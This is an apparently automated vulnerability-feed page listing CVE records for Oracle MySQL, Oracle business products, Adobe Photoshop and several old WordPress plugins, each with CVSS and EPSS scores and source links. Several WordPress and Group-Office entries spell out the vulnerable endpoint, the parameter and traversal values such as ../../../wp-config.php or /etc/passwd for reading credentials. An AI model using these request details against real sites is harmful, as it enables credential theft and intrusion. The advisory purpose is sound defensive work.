Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Group Replication Plugin).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the MySQL Server, MySQL Cluster executes to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster as well as  unauthorized update, insert or delete access to some of MySQL Server, MySQL Cluster accessible data. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H).
CVSS 7.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101773).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101773&date=2026-10-25).
Sources:
NVD CVE-2026-101773: https://nvd.nist.gov/vuln/detail/CVE-2026-101773
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101773&date=2026-10-25
Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Group Replication Plugin).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the MySQL Server, MySQL Cluster executes to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster as well as  unauthorized update, insert or delete access to some of MySQL Server, MySQL Cluster accessible data. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the MySQL Cluster product of Oracle MySQL (component: Cluster: General).
https://kevwire.com/record/CVE-2026-101769
Vulnerability in the MySQL Cluster product of Oracle MySQL (component: Cluster: General). (Oct 20, 2026).
Vulnerability in the MySQL Cluster product of Oracle MySQL (component: Cluster: General).  Supported versions that are affected are 26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TCP to compromise MySQL Cluster.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Cluster as well as  unauthorized update, insert or delete access to some of MySQL Cluster accessible data and  unauthorized read access to a subset of MySQL Cluster accessible data. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H).
CVSS 7.0 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101769).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101769&date=2026-10-25).
Sources:
NVD CVE-2026-101769: https://nvd.nist.gov/vuln/detail/CVE-2026-101769
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101769&date=2026-10-25
Vulnerability in the MySQL Cluster product of Oracle MySQL (component: Cluster: General).  Supported versions that are affected are 26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TCP to compromise MySQL Cluster.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Cluster as well as  unauthorized update, insert or delete access to some of MySQL Cluster accessible data and  unauthorized read access to a subset of MySQL Cluster accessible data. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Primavera Unifier product of Oracle Construction and Engineering (component: Project Control).
https://kevwire.com/record/CVE-2026-101735
Vulnerability in the Primavera Unifier product of Oracle Construction and Engineering (component: Project Control). (Oct 20, 2026).
Vulnerability in the Primavera Unifier product of Oracle Construction and Engineering (component: Project Control).  Supported versions that are affected are 23.12.0-23.12.16. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Primavera Unifier.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Primavera Unifier accessible data as well as  unauthorized read access to a subset of Primavera Unifier accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).
CVSS 7.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101735).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101735&date=2026-10-25).
Sources:
NVD CVE-2026-101735: https://nvd.nist.gov/vuln/detail/CVE-2026-101735
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101735&date=2026-10-25
Vulnerability in the Primavera Unifier product of Oracle Construction and Engineering (component: Project Control).  Supported versions that are affected are 23.12.0-23.12.16. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Primavera Unifier.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Primavera Unifier accessible data as well as  unauthorized read access to a subset of Primavera Unifier accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).
https://kevwire.com/record/CVE-2026-101689
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider). (Oct 20, 2026).
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  While the vulnerability is in Oracle E-Business Suite Integrated SOA Gateway, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle E-Business Suite Integrated SOA Gateway accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
CVSS 7.7 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101689).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101689&date=2026-10-25).
Sources:
NVD CVE-2026-101689: https://nvd.nist.gov/vuln/detail/CVE-2026-101689
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101689&date=2026-10-25
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  While the vulnerability is in Oracle E-Business Suite Integrated SOA Gateway, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle E-Business Suite Integrated SOA Gateway accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Photoshop Desktop is affected by a Double Free vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-95635
Photoshop Desktop is affected by a Double Free vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Photoshop Desktop is affected by a Double Free vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95635).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95635&date=2026-10-25).
Sources:
NVD CVE-2026-95635: https://nvd.nist.gov/vuln/detail/CVE-2026-95635
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95635&date=2026-10-25
Photoshop Desktop is affected by a Double Free vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Photoshop Desktop is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-95636
Photoshop Desktop is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Photoshop Desktop is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95636).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95636&date=2026-10-25).
Sources:
NVD CVE-2026-95636: https://nvd.nist.gov/vuln/detail/CVE-2026-95636
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95636&date=2026-10-25
Photoshop Desktop is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-95637
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95637).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95637&date=2026-10-25).
Sources:
NVD CVE-2026-95637: https://nvd.nist.gov/vuln/detail/CVE-2026-95637
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95637&date=2026-10-25
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Photoshop Desktop is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-95638
Photoshop Desktop is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Photoshop Desktop is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95638).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95638&date=2026-10-25).
Sources:
NVD CVE-2026-95638: https://nvd.nist.gov/vuln/detail/CVE-2026-95638
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95638&date=2026-10-25
Photoshop Desktop is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Photoshop Desktop is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-95639
Photoshop Desktop is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Photoshop Desktop is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.
CVSS 8.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95639).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95639&date=2026-10-25).
Sources:
NVD CVE-2026-95639: https://nvd.nist.gov/vuln/detail/CVE-2026-95639
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/photoshop/apsb26-158.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95639&date=2026-10-25
Photoshop Desktop is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Aspose Doc Exporter plugin for WordPress before 2.0 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files by passing...
https://kevwire.com/record/CVE-2015-20123
Aspose Doc Exporter plugin for WordPress before 2.0 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files by passing... (Oct 20, 2026).
Aspose Doc Exporter plugin for WordPress before 2.0 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files by passing unsanitized paths to readfile(). Attackers can send GET requests to aspose_doc_exporter_download.php with the 'file' parameter set to values like ../../../wp-config.php to retrieve database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-23.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2015-20123).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-20123&date=2026-10-25).
Sources:
NVD CVE-2015-20123: https://nvd.nist.gov/vuln/detail/CVE-2015-20123
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-20123&date=2026-10-25
Aspose Doc Exporter plugin for WordPress before 2.0 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files by passing unsanitized paths to readfile(). Attackers can send GET requests to aspose_doc_exporter_download.php with the 'file' parameter set to values like ../../../wp-config.php to retrieve database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-23.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Aspose Importer & Exporter plugin for WordPress before 3.0 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files via the...
https://kevwire.com/record/CVE-2015-20124
Aspose Importer & Exporter plugin for WordPress before 3.0 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files via the... (Oct 20, 2026).
Aspose Importer & Exporter plugin for WordPress before 3.0 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files via the unsanitized 'file' parameter. Attackers can send GET requests to aspose_import_export_download.php with traversal sequences like ../../../wp-config.php to read database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-20.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2015-20124).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-20124&date=2026-10-25).
Sources:
NVD CVE-2015-20124: https://nvd.nist.gov/vuln/detail/CVE-2015-20124
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-20124&date=2026-10-25
Aspose Importer & Exporter plugin for WordPress before 3.0 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files via the unsanitized 'file' parameter. Attackers can send GET requests to aspose_import_export_download.php with traversal sequences like ../../../wp-config.php to read database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-20.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Aspose PDF Exporter plugin for WordPress before 2.0 contains a path traversal vulnerability that allows unauthenticated attackers to download files through the unsanitized 'file'...
https://kevwire.com/record/CVE-2015-20125
Aspose PDF Exporter plugin for WordPress before 2.0 contains a path traversal vulnerability that allows unauthenticated attackers to download files through the unsanitized 'file'... (Oct 20, 2026).
Aspose PDF Exporter plugin for WordPress before 2.0 contains a path traversal vulnerability that allows unauthenticated attackers to download files through the unsanitized 'file' parameter passed to readfile(). Attackers can send GET requests to aspose_pdf_exporter_download.php with traversal sequences like ../../../wp-config.php to retrieve WordPress database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2015-20125).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-20125&date=2026-10-25).
Sources:
NVD CVE-2015-20125: https://nvd.nist.gov/vuln/detail/CVE-2015-20125
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-20125&date=2026-10-25
Aspose PDF Exporter plugin for WordPress before 2.0 contains a path traversal vulnerability that allows unauthenticated attackers to download files through the unsanitized 'file' parameter passed to readfile(). Attackers can send GET requests to aspose_pdf_exporter_download.php with traversal sequences like ../../../wp-config.php to retrieve WordPress database credentials. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Issuu Panel plugin for WordPress before 1.6.6 contains a PHP file inclusion vulnerability that allows unauthenticated attackers to include remote or local files through the...
https://kevwire.com/record/CVE-2016-20101
Issuu Panel plugin for WordPress before 1.6.6 contains a PHP file inclusion vulnerability that allows unauthenticated attackers to include remote or local files through the... (Oct 20, 2026).
Issuu Panel plugin for WordPress before 1.6.6 contains a PHP file inclusion vulnerability that allows unauthenticated attackers to include remote or local files through the 'abspath' parameter. Attackers can send GET requests to menu/documento/requests/ajax-docs.php with a crafted abspath value passed to require() to execute remote PHP code or include local files. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-20.
CVSS 9.2 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2016-20101).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-20101&date=2026-10-25).
Sources:
NVD CVE-2016-20101: https://nvd.nist.gov/vuln/detail/CVE-2016-20101
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-20101&date=2026-10-25
Issuu Panel plugin for WordPress before 1.6.6 contains a PHP file inclusion vulnerability that allows unauthenticated attackers to include remote or local files through the 'abspath' parameter. Attackers can send GET requests to menu/documento/requests/ajax-docs.php with a crafted abspath value passed to require() to execute remote PHP code or include local files. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-20.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Cherry Plugin for WordPress before 1.2.7 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files via the 'file' parameter.
https://kevwire.com/record/CVE-2016-20103
Cherry Plugin for WordPress before 1.2.7 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files via the 'file' parameter. (Oct 20, 2026).
Cherry Plugin for WordPress before 1.2.7 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files via the 'file' parameter. Attackers can send GET requests to /admin/import-export/download-content.php with traversal sequences like ../../../../../wp-config.php to read database credentials, since the script passes input directly to readfile(). Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2016-20103).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-20103&date=2026-10-25).
Sources:
NVD CVE-2016-20103: https://nvd.nist.gov/vuln/detail/CVE-2016-20103
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-20103&date=2026-10-25
Cherry Plugin for WordPress before 1.2.7 contains a path traversal vulnerability that allows unauthenticated attackers to download arbitrary files via the 'file' parameter. Attackers can send GET requests to /admin/import-export/download-content.php with traversal sequences like ../../../../../wp-config.php to read database credentials, since the script passes input directly to readfile(). Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Javo Spot theme for WordPress before 3.0.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the fn parameter of the...
https://kevwire.com/record/CVE-2017-20287
Javo Spot theme for WordPress before 3.0.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the fn parameter of the... (Oct 22, 2026).
Javo Spot theme for WordPress before 3.0.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the fn parameter of the jvfrm_spot_get_json AJAX action. Attackers can send GET requests to /wp-admin/admin-ajax.php with fn set to ../../wp-config.php to retrieve database credentials and secret keys. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2017-20287).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-20287&date=2026-10-25).
Sources:
NVD CVE-2017-20287: https://nvd.nist.gov/vuln/detail/CVE-2017-20287
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-20287&date=2026-10-25
Javo Spot theme for WordPress before 3.0.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files via the fn parameter of the jvfrm_spot_get_json AJAX action. Attackers can send GET requests to /wp-admin/admin-ajax.php with fn set to ../../wp-config.php to retrieve database credentials and secret keys. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Intermesh Group-Office 3.3.0 before 3.5.5 contains an unauthenticated path traversal vulnerability in compress.php that allows remote attackers to read arbitrary files by...
https://kevwire.com/record/CVE-2018-25438
Intermesh Group-Office 3.3.0 before 3.5.5 contains an unauthenticated path traversal vulnerability in compress.php that allows remote attackers to read arbitrary files by... (Oct 22, 2026).
Intermesh Group-Office 3.3.0 before 3.5.5 contains an unauthenticated path traversal vulnerability in compress.php that allows remote attackers to read arbitrary files by manipulating the 'file' parameter. Attackers can send GET requests to /compress.php with '../' sequences in the 'file' parameter, which is appended to the cache path and passed to readfile(), to read files such as /etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-21.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2018-25438).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-25438&date=2026-10-25).
Sources:
NVD CVE-2018-25438: https://nvd.nist.gov/vuln/detail/CVE-2018-25438
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-25438&date=2026-10-25
Intermesh Group-Office 3.3.0 before 3.5.5 contains an unauthenticated path traversal vulnerability in compress.php that allows remote attackers to read arbitrary files by manipulating the 'file' parameter. Attackers can send GET requests to /compress.php with '../' sequences in the 'file' parameter, which is appended to the cache path and passed to readfile(), to read files such as /etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-21.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
